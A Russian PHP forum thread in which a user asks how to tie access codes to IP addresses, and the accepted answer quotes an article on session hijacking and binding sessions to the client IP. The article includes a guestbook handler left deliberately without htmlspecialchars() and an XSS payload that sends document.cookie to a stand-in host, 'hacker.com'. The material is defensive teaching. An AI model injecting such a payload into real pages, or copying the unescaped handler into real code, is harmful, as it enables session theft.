Форум программистов, компьютерный форум, киберфорум
Наши страницы
PHP
Войти
Регистрация
Восстановить пароль
 
Рейтинг 5.00/4: Рейтинг темы: голосов - 4, средняя оценка - 5.00
Jeka-hunter
1 / 1 / 2
Регистрация: 18.05.2010
Сообщений: 28
1

Код доступа

07.02.2017, 03:13. Просмотров 763. Ответов 1
Метки нет (Все метки)

Всем привет. Я создаю сайт и мне для доступа к нему необходимо сделать код доступа привязан к ір. Тоесть человек купивший подписку получает код к доступу на сайт привязан к айпи. 1 код - 1 айпи. как это реализовать? Желательно без баз данных (я в них вообще плаваю).
0
Лучшие ответы (1)
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
07.02.2017, 03:13
Ответы с готовыми решениями:

Разделение прав доступа
Как лучше разделять права доступа к сайту PHP? Я делаю так: Есть строка для...

Закрытие доступа к странице
Здравствуйте, не могу никак разобраться: есть 1 страничка с таймером, код...

Код доступа
Я помню как то можно сделать как то так: index.php?code242 И выводятся данные...

Очередной код с возможным вирусом. Как думаете этот код опасен?
<?php // no direct access defined('_JEXEC') or die('Restricted access'); ?>...

Как вставить div в PHP код (в echo) - исправить код
Народ как вставить div в php код точнее в echo В этот код:<?php...

1
Qwerty_Wasd
1206 / 883 / 439
Регистрация: 16.04.2016
Сообщений: 2,383
Завершенные тесты: 2
07.02.2017, 03:47 2
Лучший ответ Сообщение было отмечено Jeka-hunter как решение

Решение

Нашел такую статью.
Автор - Лободенко Д.И.

Кликните здесь для просмотра всего текста
В настоящий момент ни одно серьёзное Web-приложение не обходится без использования механизма сессий. Наиболее распрастранено использование сессий для разграничения доступа пользователей к личным ресурсам.

Рассмотрим типичный процесс авторизации с использованием сессии.

У пользователя запрашивается логин и пароль.
Если авторизация проходит успешно, то создается новая сессия, со значением "успешной авторизации".
Пользователю назначается уникальный идентификатор (SID), который заранее невозможно предсказать, а, значит, и подобрать .
SID записывается либо в cookies браузера, либо передается через адресную строку браузера (если cookies отключены).
В результате успешной авторизации скрипту становится доступными значения переменных из суперглобального массива $_SESSION, по наличию которых скрипт предоставляет доступ к некоторому ресурсу, например, вход на панель администрирования сайта.

Проблема заключается в том, что если злоумышленник каким-либо образом узнает SID другого пользователя, он сможет подставить его в свои cookies, или адресную строку браузера и войти на сайт с правами данного пользователя.

Замечание

Несколько лет назад имело место несколько скандалов, когда в системах удалённого управления банковским счётом уникальный номер (SID) генерировался просто прибавлением единицы к последнему использованному значению. Быстрая авторизация приводила к выдачи двух значений SID, допустим 40346 и 40348. Подстановка номера 40347 позволяла получить доступ к чужому счёту .

В настоящее время SID представляет уникальную последовательность цифр и букв, не привязанную к счётчику. Но как же злоумышленик узнает чужой SID?

Существуют два самых распространенных варианта:

1. Например, владелец сессии сам показал ее, неосторожно оставив ссылку такого типа где-нибудь на форуме или гостевой книге.

Код
http://forum.dklab.ru/?sid=01c1739de76ed46e639cd23d33698121
Переход по этому адресу, автоматически наделяет злоумышленника правами пользователя для которого выделена сессия с идентификатором 01c1739de76ed46e639cd23d33698121.
Конечно, сессия пользователя уничтожается при отсутствии активности через некоторое время. И поэтому злоумышленнику следует поторопиться . С другой стороны тотальная распространённость пауков (спайдеров) позволяет организовать целеноправленный автоматический поиск таких ссылок.

2. Если даже сессия не указана явно в строке браузера, а хранится в Куках. У злоумышленика все равно есть возможность завладеть идентификатором. Рассмотрим небольшой скрипт простейшей гостевой книги.

PHPHTML
1
2
3
4
5
6
<!--- тут чего-то -->  
<form action=addmsg.php method=post>  
Текст:  
<textarea name="text"></textarea>  
<input type="submit" value="Добавить">  
</form>
Содержимое обработчика addmsg.php представлено ниже

PHP
1
2
3
4
5
6
7
8
9
10
11
12
<?php  
if(!empty($_POST['text']))  
{  
    $line = str_replace("/ ?
/s", " ", $_POST['text']);  
    //запись в базу или в файл  
}  
else  
{  
    exit("Ошибка");  
}  
?>
Обратите внимание - в скрипте явно пропущен вызов функции htmlspecialchars(), которая преобразует символы < в &lt; и > в &gt; в результате чего, злоумышленник может вставить в текст любые HTML-теги и скрипты JavaScript.

Javascript
1
2
<script>window.open("http://hacker.com/get.php?"+document.cookie, 'new')  
</script>
И что мы получаем? Маленькая оплошность (казалось бы пропустили всего лишь какой-то htmlspecialchars() перед выводом сообщения в браузер), которая позволяет загружать в новом окне страницу злоумышленика, передавая ей значения из cookies.
Для борьбы с уязвимостями такого рода лучше всего бороться "устойчивыми" методами, действуя по принципу "всё что не разрешено - запрещено". Не следует скрывать SID и подвергать текст многоэтапным проверкам - вероятность создания ошибок в этом случае только возрастает. Более надёжным в этом случае является метод привязки SID к IP-адресу, пользователя владеющего сессией. Такой способ широко распространен во многих известных форумах, например phpBB.
Скрипт авторизации

PHP
1
2
3
4
5
6
7
<?php  
if (логин и пароль верные) 
{  
  $_SESSION['authorized'] = true;  
  $_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];  
}  
?>
Тогда скрипт, который предоставляет доступ к определенному ресурсу, может содержать следующий код

PHP
1
2
3
4
5
6
7
8
<?php  
  if (!empty($_SESSION['authorized']) && 
      $_SESSION['ip'] == $_SERVER['REMOTE_ADDR']) 
  {  
      // Доступ к ресурсу открыт.  
  } 
  else die("Доступ закрыт.");  
?>
Т.е. теперь с данной сессией может работать только тот пользователь, IP-адрес которого совпадает с IP-адресом, переданным серверу при авторизации. Если злоумышленик перехватит сессию, IP-адрес то у него другой - поэтому в доступе ему будет отказано.

Данный метод не является универсальным и у него тоже есть слабые места.

Если пользователь и злоумышленик выходят в Интернет через общий прокси-сервер, то они будут иметь один общий IP-адрес (это характерно для сетей университетов, заводов и других крупных учреждений), т.е. каждый может украсть SID соседа, хотя бы вышеуказанными методами.
Если пользователь использует модем, и произойдет обрыв связи, то после восстановления связи, ему скорее всего будет назначен другой IP-адрес. Пользователь может быть неприятно удивлён, если он будет огульно зачислен в ряды злоумышленников (поэтому писать угрозы и призывы к совести в системах защиты не стоит - в таких системах тоже бывают ошибки). Последний недостаток имеет место на форумах, посетители которых имеют привычку при наборе длинного ответа отключать Интернет и работать offline. Нажатие на кнопку "Ответить" приводит к тому, что вся набраная информация теряется, так как никто не заботится о том, что бы сохранять текст набранный злоумышлеником )).
Выход: (вернее полу выход) Проверять на идентичность только первые 3 цифры IP адреса, кража SID по-прежднему статистически маловероятна, однако это в большинстве случаев, позволяет более мягко отнестись к разрыву соединения, так как провайдерам обычно выделяют неразрывный диапазон IP-адресов, в котором меняется только последняя цифра.


Добавлено через 2 минуты
Ну и хабр еще в догонку.

P.S. Админ, прости. Не стал здесь искать. Ленька напала
1
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
07.02.2017, 03:47

PHP код - код есть, а что с ним делать неизвестно, вопросов не имею
Вот код &lt;? mysql_connect('localhost','root','461544') or die(mysql_error());...

Переписать код с switch на код с использованием массивов
&lt;?php $action = $_POST; switch($action){ case 'first' echo 'первый' break;...

Нужно исправить код. Комментарии добавляются в guestbook.txt, а сам код находится в guestbook.php
Написал такой код для комментирования страницы. Однако 1 коммент отправляется...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru